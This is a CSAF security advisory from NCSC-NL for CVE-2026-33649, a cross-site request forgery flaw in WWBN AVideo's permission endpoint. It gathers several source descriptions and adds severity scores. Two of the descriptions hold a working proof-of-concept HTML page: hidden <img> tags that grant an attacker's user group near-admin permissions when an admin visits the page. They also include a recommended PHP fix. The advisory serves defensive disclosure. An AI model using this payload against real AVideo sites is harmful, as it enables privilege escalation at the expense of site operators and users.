{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33649",
        "tracking": {
            "current_release_date": "2026-03-25T19:51:31.086944Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33649",
            "initial_release_date": "2026-03-24T10:54:09.246178Z",
            "revision_history": [
                {
                    "date": "2026-03-24T10:54:09.246178Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-24T10:54:12.998580Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-24T13:51:06.997903Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-24T13:51:17.923268Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:51:21.023106Z",
                    "number": "5",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-24T20:51:27.007735Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T21:37:19.451011Z",
                    "number": "7",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-24T21:37:32.741126Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T15:26:54.794540Z",
                    "number": "9",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-25T15:26:56.888489Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T18:33:13.416691Z",
                    "number": "11",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (18).| Product Identifiers created (17).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-25T18:42:38.300021Z",
                    "number": "12",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-25T18:42:48.050675Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "13"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<=26.0",
                                "product": {
                                    "name": "vers:unknown/<=26.0",
                                    "product_id": "CSAFPID-5893889",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "AVideo"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/10.4",
                                "product": {
                                    "name": "vers:unknown/10.4",
                                    "product_id": "CSAFPID-5656122",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@10.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/10.8",
                                "product": {
                                    "name": "vers:unknown/10.8",
                                    "product_id": "CSAFPID-5656123",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@10.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11",
                                "product": {
                                    "name": "vers:unknown/11",
                                    "product_id": "CSAFPID-5656124",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.1",
                                "product": {
                                    "name": "vers:unknown/11.1",
                                    "product_id": "CSAFPID-5656125",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.1.1",
                                "product": {
                                    "name": "vers:unknown/11.1.1",
                                    "product_id": "CSAFPID-5656126",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.1.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.5",
                                "product": {
                                    "name": "vers:unknown/11.5",
                                    "product_id": "CSAFPID-5656127",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.6",
                                "product": {
                                    "name": "vers:unknown/11.6",
                                    "product_id": "CSAFPID-5656128",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/12.4",
                                "product": {
                                    "name": "vers:unknown/12.4",
                                    "product_id": "CSAFPID-5656129",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@12.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/14.3",
                                "product": {
                                    "name": "vers:unknown/14.3",
                                    "product_id": "CSAFPID-5656130",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@14.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/14.3.1",
                                "product": {
                                    "name": "vers:unknown/14.3.1",
                                    "product_id": "CSAFPID-5656131",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@14.3.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/14.4",
                                "product": {
                                    "name": "vers:unknown/14.4",
                                    "product_id": "CSAFPID-5656132",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@14.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/18.0",
                                "product": {
                                    "name": "vers:unknown/18.0",
                                    "product_id": "CSAFPID-5656133",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@18.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/21.0",
                                "product": {
                                    "name": "vers:unknown/21.0",
                                    "product_id": "CSAFPID-5721197",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@21.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/22.0",
                                "product": {
                                    "name": "vers:unknown/22.0",
                                    "product_id": "CSAFPID-5772271",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@22.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/24.0",
                                "product": {
                                    "name": "vers:unknown/24.0",
                                    "product_id": "CSAFPID-5772272",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@24.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/25.0",
                                "product": {
                                    "name": "vers:unknown/25.0",
                                    "product_id": "CSAFPID-5840723",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@25.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/26.0",
                                "product": {
                                    "name": "vers:unknown/26.0",
                                    "product_id": "CSAFPID-5878928",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@26.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<=26.0",
                                "product": {
                                    "name": "vers:unknown/>=0|<=26.0",
                                    "product_id": "CSAFPID-5878929"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "avideo"
                    }
                ],
                "category": "vendor",
                "name": "WWBN"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33649",
            "cwe": {
                "id": "CWE-352",
                "name": "Cross-Site Request Forgery (CSRF)"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `plugin/Permissions/setPermission.json.php` endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets `session.cookie_samesite=None` on session cookies. This allows an unauthenticated attacker to craft a page with `<img>` tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access. As of time of publication, no known patched versions are available.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33649.json"
                },
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `plugin/Permissions/setPermission.json.php` endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets `session.cookie_samesite=None` on session cookies. This allows an unauthenticated attacker to craft a page with `<img>` tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access. As of time of publication, no known patched versions are available.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33649"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nThe `plugin/Permissions/setPermission.json.php` endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets `session.cookie_samesite=None` on session cookies. This allows an unauthenticated attacker to craft a page with `<img>` tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access.\n\n## Details\n\nThe root cause is a combination of three issues:\n\n**1. `$_REQUEST` used instead of `$_POST` (accepts GET parameters):**\n\n`plugin/Permissions/setPermission.json.php:14-24`:\n```php\n$intvalList = array('users_groups_id','plugins_id','type','isEnabled');\nforeach ($intvalList as $value) {\n    if($_REQUEST[$value]==='true'){\n        $_REQUEST[$value] = 1;\n    }else{\n        $_REQUEST[$value] = intval($_REQUEST[$value]);\n    }\n}\n\n$obj = new stdClass();\n$obj->id = Permissions::setPermission($_REQUEST['users_groups_id'], $_REQUEST['plugins_id'], $_REQUEST['type'], $_REQUEST['isEnabled']);\n```\n\nThe only authorization check is `User::isAdmin()` at line 10 — there is no CSRF token validation via `isGlobalTokenValid()`.\n\n**2. Session cookies set to `SameSite=None`:**\n\n`objects/include_config.php:134-141`:\n```php\nif ($isHTTPS) {\n    // SameSite=None is intentional: AVideo supports cross-origin iframe embedding\n    ini_set('session.cookie_samesite', 'None');\n    ini_set('session.cookie_secure', '1');\n}\n```\n\nThis means the admin's session cookie is sent on cross-origin requests, including those initiated by `<img src=\"...\">` tags on attacker-controlled pages.\n\n**3. The codebase's own security model requires CSRF tokens on state-mutating endpoints:**\n\nThe comment at `include_config.php:137-138` states: *\"All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\"* Other endpoints like `saveSort.json.php` and `pluginImport.json.php` enforce `isGlobalTokenValid()`, but `setPermission.json.php` does not.\n\n**Execution flow:**\n1. Attacker hosts a page containing `<img src=\"https://target/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true\">`\n2. Admin visits the page (e.g., via link in forum, email, or embedded content)\n3. Browser issues GET request with the admin's `SameSite=None` session cookie\n4. `User::isAdmin()` passes because the request carries the admin's session\n5. `Permissions::setPermission()` grants PERMISSION_FULLACCESSVIDEOS (type=10) to user group 2\n6. Any user in group 2 (including the attacker) now has full video admin access\n\nThe `users_groups_id` values are small sequential integers (typically 1-3 for default groups) and can be trivially enumerated.\n\n## PoC\n\n**Step 1: Attacker creates a page granting multiple permissions to their user group (ID 2):**\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Interesting Video</title></head>\n<body>\n<h1>Check out this video!</h1>\n<!-- Each img tag silently fires a GET request with admin's session cookie -->\n<!-- PERMISSION_FULLACCESSVIDEOS (type=10) -->\n<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true' style='display:none'>\n<!-- PERMISSION_USERS (type=20) -->\n<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=20&isEnabled=true' style='display:none'>\n<!-- PERMISSION_CAN_UPLOAD_VIDEOS (type=70) -->\n<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=70&isEnabled=true' style='display:none'>\n<!-- PERMISSION_CAN_LIVESTREAM (type=80) -->\n<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=80&isEnabled=true' style='display:none'>\n</body>\n</html>\n```\n\n**Step 2: Attacker sends the link to an admin (social engineering, forum post, etc.)**\n\n**Step 3: When the admin loads the page, all four `<img>` tags fire simultaneously.**\n\nExpected response for each request (visible in browser dev tools):\n```json\n{\"id\":\"1\"}\n```\n\n**Step 4: Verify — the attacker (a regular user in group 2) now has full video management, user management, upload, and livestream permissions without being an admin.**\n\n## Impact\n\n- **Privilege escalation:** A low-privileged user can gain near-admin permissions (full video access, user management, upload, livestream) by tricking an admin into loading a single page.\n- **No JavaScript required:** The attack uses only `<img>` tags, bypassing Content Security Policy restrictions and working even in contexts where scripts are blocked (email clients, forum BBCode, etc.).\n- **Zero interaction beyond page load:** Unlike POST-based CSRF that requires form submission or JavaScript, this fires automatically when the page renders.\n- **Chaining:** Multiple permissions can be granted simultaneously by embedding multiple `<img>` tags. An attacker can grant their group all available permission types in a single page load.\n- **Blast radius:** All users in the targeted group receive the escalated permissions, not just the attacker.\n\n## Recommended Fix\n\nIn `plugin/Permissions/setPermission.json.php`, change `$_REQUEST` to `$_POST` and add CSRF token validation:\n\n```php\n<?php\n\nheader('Content-Type: application/json');\nif (!isset($global['systemRootPath'])) {\n    $configFile = '../../videos/configuration.php';\n    if (file_exists($configFile)) {\n        require_once $configFile;\n    }\n}\nif(!User::isAdmin()){\n    forbiddenPage(\"Not admin\");\n}\n\n// Enforce POST method and CSRF token\nif ($_SERVER['REQUEST_METHOD'] !== 'POST') {\n    die(json_encode(array('error' => 'POST method required')));\n}\nif (!isGlobalTokenValid()) {\n    die(json_encode(array('error' => 'Invalid CSRF token')));\n}\n\n$intvalList = array('users_groups_id','plugins_id','type','isEnabled');\nforeach ($intvalList as $value) {\n    if($_POST[$value]==='true'){\n        $_POST[$value] = 1;\n    }else{\n        $_POST[$value] = intval($_POST[$value]);\n    }\n}\n\n$obj = new stdClass();\n$obj->id = Permissions::setPermission($_POST['users_groups_id'], $_POST['plugins_id'], $_POST['type'], $_POST['isEnabled']);\n\ndie(json_encode($obj));\n```\n\nThe AJAX call in `getPermissionsFromPlugin.html.php:84-92` already uses `type: 'post'` but must also send the `globalToken` parameter in its data payload.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-g8x9-7mgh-7cvj.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nThe `plugin/Permissions/setPermission.json.php` endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets `session.cookie_samesite=None` on session cookies. This allows an unauthenticated attacker to craft a page with `<img>` tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access.\n\n## Details\n\nThe root cause is a combination of three issues:\n\n**1. `$_REQUEST` used instead of `$_POST` (accepts GET parameters):**\n\n`plugin/Permissions/setPermission.json.php:14-24`:\n```php\n$intvalList = array('users_groups_id','plugins_id','type','isEnabled');\nforeach ($intvalList as $value) {\n    if($_REQUEST[$value]==='true'){\n        $_REQUEST[$value] = 1;\n    }else{\n        $_REQUEST[$value] = intval($_REQUEST[$value]);\n    }\n}\n\n$obj = new stdClass();\n$obj->id = Permissions::setPermission($_REQUEST['users_groups_id'], $_REQUEST['plugins_id'], $_REQUEST['type'], $_REQUEST['isEnabled']);\n```\n\nThe only authorization check is `User::isAdmin()` at line 10 — there is no CSRF token validation via `isGlobalTokenValid()`.\n\n**2. Session cookies set to `SameSite=None`:**\n\n`objects/include_config.php:134-141`:\n```php\nif ($isHTTPS) {\n    // SameSite=None is intentional: AVideo supports cross-origin iframe embedding\n    ini_set('session.cookie_samesite', 'None');\n    ini_set('session.cookie_secure', '1');\n}\n```\n\nThis means the admin's session cookie is sent on cross-origin requests, including those initiated by `<img src=\"...\">` tags on attacker-controlled pages.\n\n**3. The codebase's own security model requires CSRF tokens on state-mutating endpoints:**\n\nThe comment at `include_config.php:137-138` states: *\"All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\"* Other endpoints like `saveSort.json.php` and `pluginImport.json.php` enforce `isGlobalTokenValid()`, but `setPermission.json.php` does not.\n\n**Execution flow:**\n1. Attacker hosts a page containing `<img src=\"https://target/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true\">`\n2. Admin visits the page (e.g., via link in forum, email, or embedded content)\n3. Browser issues GET request with the admin's `SameSite=None` session cookie\n4. `User::isAdmin()` passes because the request carries the admin's session\n5. `Permissions::setPermission()` grants PERMISSION_FULLACCESSVIDEOS (type=10) to user group 2\n6. Any user in group 2 (including the attacker) now has full video admin access\n\nThe `users_groups_id` values are small sequential integers (typically 1-3 for default groups) and can be trivially enumerated.\n\n## PoC\n\n**Step 1: Attacker creates a page granting multiple permissions to their user group (ID 2):**\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Interesting Video</title></head>\n<body>\n<h1>Check out this video!</h1>\n<!-- Each img tag silently fires a GET request with admin's session cookie -->\n<!-- PERMISSION_FULLACCESSVIDEOS (type=10) -->\n<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true' style='display:none'>\n<!-- PERMISSION_USERS (type=20) -->\n<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=20&isEnabled=true' style='display:none'>\n<!-- PERMISSION_CAN_UPLOAD_VIDEOS (type=70) -->\n<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=70&isEnabled=true' style='display:none'>\n<!-- PERMISSION_CAN_LIVESTREAM (type=80) -->\n<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=80&isEnabled=true' style='display:none'>\n</body>\n</html>\n```\n\n**Step 2: Attacker sends the link to an admin (social engineering, forum post, etc.)**\n\n**Step 3: When the admin loads the page, all four `<img>` tags fire simultaneously.**\n\nExpected response for each request (visible in browser dev tools):\n```json\n{\"id\":\"1\"}\n```\n\n**Step 4: Verify — the attacker (a regular user in group 2) now has full video management, user management, upload, and livestream permissions without being an admin.**\n\n## Impact\n\n- **Privilege escalation:** A low-privileged user can gain near-admin permissions (full video access, user management, upload, livestream) by tricking an admin into loading a single page.\n- **No JavaScript required:** The attack uses only `<img>` tags, bypassing Content Security Policy restrictions and working even in contexts where scripts are blocked (email clients, forum BBCode, etc.).\n- **Zero interaction beyond page load:** Unlike POST-based CSRF that requires form submission or JavaScript, this fires automatically when the page renders.\n- **Chaining:** Multiple permissions can be granted simultaneously by embedding multiple `<img>` tags. An attacker can grant their group all available permission types in a single page load.\n- **Blast radius:** All users in the targeted group receive the escalated permissions, not just the attacker.\n\n## Recommended Fix\n\nIn `plugin/Permissions/setPermission.json.php`, change `$_REQUEST` to `$_POST` and add CSRF token validation:\n\n```php\n<?php\n\nheader('Content-Type: application/json');\nif (!isset($global['systemRootPath'])) {\n    $configFile = '../../videos/configuration.php';\n    if (file_exists($configFile)) {\n        require_once $configFile;\n    }\n}\nif(!User::isAdmin()){\n    forbiddenPage(\"Not admin\");\n}\n\n// Enforce POST method and CSRF token\nif ($_SERVER['REQUEST_METHOD'] !== 'POST') {\n    die(json_encode(array('error' => 'POST method required')));\n}\nif (!isGlobalTokenValid()) {\n    die(json_encode(array('error' => 'Invalid CSRF token')));\n}\n\n$intvalList = array('users_groups_id','plugins_id','type','isEnabled');\nforeach ($intvalList as $value) {\n    if($_POST[$value]==='true'){\n        $_POST[$value] = 1;\n    }else{\n        $_POST[$value] = intval($_POST[$value]);\n    }\n}\n\n$obj = new stdClass();\n$obj->id = Permissions::setPermission($_POST['users_groups_id'], $_POST['plugins_id'], $_POST['type'], $_POST['isEnabled']);\n\ndie(json_encode($obj));\n```\n\nThe AJAX call in `getPermissionsFromPlugin.html.php:84-92` already uses `type: 'post'` but must also send the `globalToken` parameter in its data payload.",
                    "title": "github - https://api.github.com/advisories/GHSA-g8x9-7mgh-7cvj"
                },
                {
                    "category": "other",
                    "text": "0.00014",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.3",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, Is related to CWE-352 (Cross-Site Request Forgery (CSRF)), The value of the most recent EPSS score, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5893889",
                    "CSAFPID-5656122",
                    "CSAFPID-5656123",
                    "CSAFPID-5656124",
                    "CSAFPID-5656125",
                    "CSAFPID-5656126",
                    "CSAFPID-5656127",
                    "CSAFPID-5656128",
                    "CSAFPID-5656129",
                    "CSAFPID-5656130",
                    "CSAFPID-5656131",
                    "CSAFPID-5656132",
                    "CSAFPID-5656133",
                    "CSAFPID-5721197",
                    "CSAFPID-5772271",
                    "CSAFPID-5772272",
                    "CSAFPID-5840723",
                    "CSAFPID-5878928",
                    "CSAFPID-5878929"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33649.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33649"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-g8x9-7mgh-7cvj.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-g8x9-7mgh-7cvj"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-g8x9-7mgh-7cvj"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33649"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-g8x9-7mgh-7cvj"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
                        "baseScore": 8.1,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5656122",
                        "CSAFPID-5656123",
                        "CSAFPID-5656124",
                        "CSAFPID-5656125",
                        "CSAFPID-5656126",
                        "CSAFPID-5656127",
                        "CSAFPID-5656128",
                        "CSAFPID-5656129",
                        "CSAFPID-5656130",
                        "CSAFPID-5656131",
                        "CSAFPID-5656132",
                        "CSAFPID-5656133",
                        "CSAFPID-5721197",
                        "CSAFPID-5772271",
                        "CSAFPID-5772272",
                        "CSAFPID-5840723",
                        "CSAFPID-5878928",
                        "CSAFPID-5878929",
                        "CSAFPID-5893889"
                    ]
                }
            ],
            "title": "CVE-2026-33649"
        }
    ]
}